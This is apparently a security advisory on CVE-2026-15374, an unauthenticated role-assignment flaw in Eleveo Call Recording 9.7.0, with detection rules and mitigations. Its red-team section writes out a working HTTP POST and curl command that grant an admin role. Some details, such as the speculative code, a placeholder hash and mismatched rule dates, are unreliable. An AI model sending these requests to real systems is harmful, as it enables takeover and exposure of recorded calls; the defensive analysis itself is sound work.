CVE-2026-15374

Executive Summary

CVE-2026-15374 is an improper authorization vulnerability in Eleveo Call Recording Software version 9.7.0. The flaw resides in the /callrec/roleAddAction.do file within the Group Interface component, allowing an unauthenticated remote attacker to manipulate authorization mechanisms and potentially escalate privileges or perform unauthorized actions. The vendor has not responded to disclosure, and a public exploit is available, increasing the risk of active exploitation. No patch is currently available.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (remote, unauthenticated, improper authorization), a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)
• Estimated CVSS Score: 9.1 (Critical)

This vulnerability is critical due to the lack of authentication required and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic case of improper authorization (CWE-285). The endpoint /callrec/roleAddAction.do is used to manage user roles and permissions within the Eleveo Call Recording system. The application fails to verify that the requesting user has administrative privileges before processing the request. An attacker can craft a malicious HTTP request to this endpoint, adding themselves or another user to a high-privilege role (e.g., administrator). This allows the attacker to gain full control over the call recording system, including access to sensitive recorded calls, configuration changes, and potential pivot points into the internal network.

The exploit is publicly available, likely in the form of a simple HTTP POST request with parameters such as userId, roleId, and action=add. The lack of server-side validation on the session or token makes this attack trivial to execute.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely resembles:

// Vulnerable: No authorization check
public void doPost(HttpServletRequest request, HttpServletResponse response) {
    String userId = request.getParameter("userId");
    String roleId = request.getParameter("roleId");
    // Directly adds role without checking if user is admin
    roleService.addRoleToUser(userId, roleId);
}

A patched version would include an authorization check:

// Patched: Authorization check added
public void doPost(HttpServletRequest request, HttpServletResponse response) {
    if (!isAdmin(request.getSession())) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    String userId = request.getParameter("userId");
    String roleId = request.getParameter("roleId");
    roleService.addRoleToUser(userId, roleId);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Eleveo Call Recording Software 9.7.0 in a controlled environment.
2. Use a tool like Burp Suite or cURL to interact with the vulnerable endpoint.

Exploitation Steps:

1. Identify a target user ID (e.g., user123) and the desired role ID (e.g., 1 for admin).
2. Send a POST request to /callrec/roleAddAction.do with parameters:

   POST /callrec/roleAddAction.do HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   userId=user123&roleId=1&action=add
   

3. Verify the user now has elevated privileges by accessing admin functions.

Example cURL command:

curl -X POST http://target.com/callrec/roleAddAction.do \
  -d "userId=attacker_user&roleId=1&action=add"

Blue Team

Detection:

• Monitor for unusual POST requests to /callrec/roleAddAction.do from non-admin IPs.
• Alert on any role assignment activity outside of normal administrative hours.
• Correlate with failed login attempts or privilege escalation events.

Hunting:

• Search logs for roleAddAction.do with parameters action=add and roleId values that correspond to high-privilege roles.
• Review user role changes in the database for unauthorized modifications.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /callrec/roleAddAction.do with parameters userId, roleId, and action=add.
• Logs: Application logs showing role assignment events without prior authentication.
• System: New user accounts with elevated privileges appearing in the Eleveo system.
• File: Unusual entries in role assignment tables within the application database.

Detection Engineering

YARA Rule

rule detect_eleveo_role_add_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2026-15374 in Eleveo Call Recording"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "roleAddAction.do" ascii wide nocase
        $s2 = "action=add" ascii wide nocase
        $s3 = "roleId=" ascii wide nocase
        $s4 = "userId=" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: Eleveo Call Recording Role Add Exploit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable roleAddAction.do endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/callrec/roleAddAction.do'
        cs-uri-query|contains: 
            - 'action=add'
            - 'roleId='
            - 'userId='
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Eleveo CVE-2026-15374 Role Add Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/callrec/roleAddAction.do"; http_uri; content:"action=add"; http_client_body; content:"roleId="; http_client_body; content:"userId="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Eleveo system from untrusted networks (e.g., place behind a VPN or firewall).
2. Implement a Web Application Firewall (WAF) rule to block requests to /callrec/roleAddAction.do from non-admin IPs.
3. Monitor logs for any exploitation attempts and investigate immediately.

Long-term Fix:

• Since no vendor patch exists, consider disabling the vulnerable endpoint or removing the roleAddAction.do file if not essential.
• Upgrade to a newer version of Eleveo if available, or migrate to an alternative call recording solution.
• Conduct a full security audit of the application to identify similar authorization flaws.

Workaround:

• Modify the application's access control list (ACL) or web server configuration to restrict access to the /callrec/ directory to only authenticated administrators.

Valters IT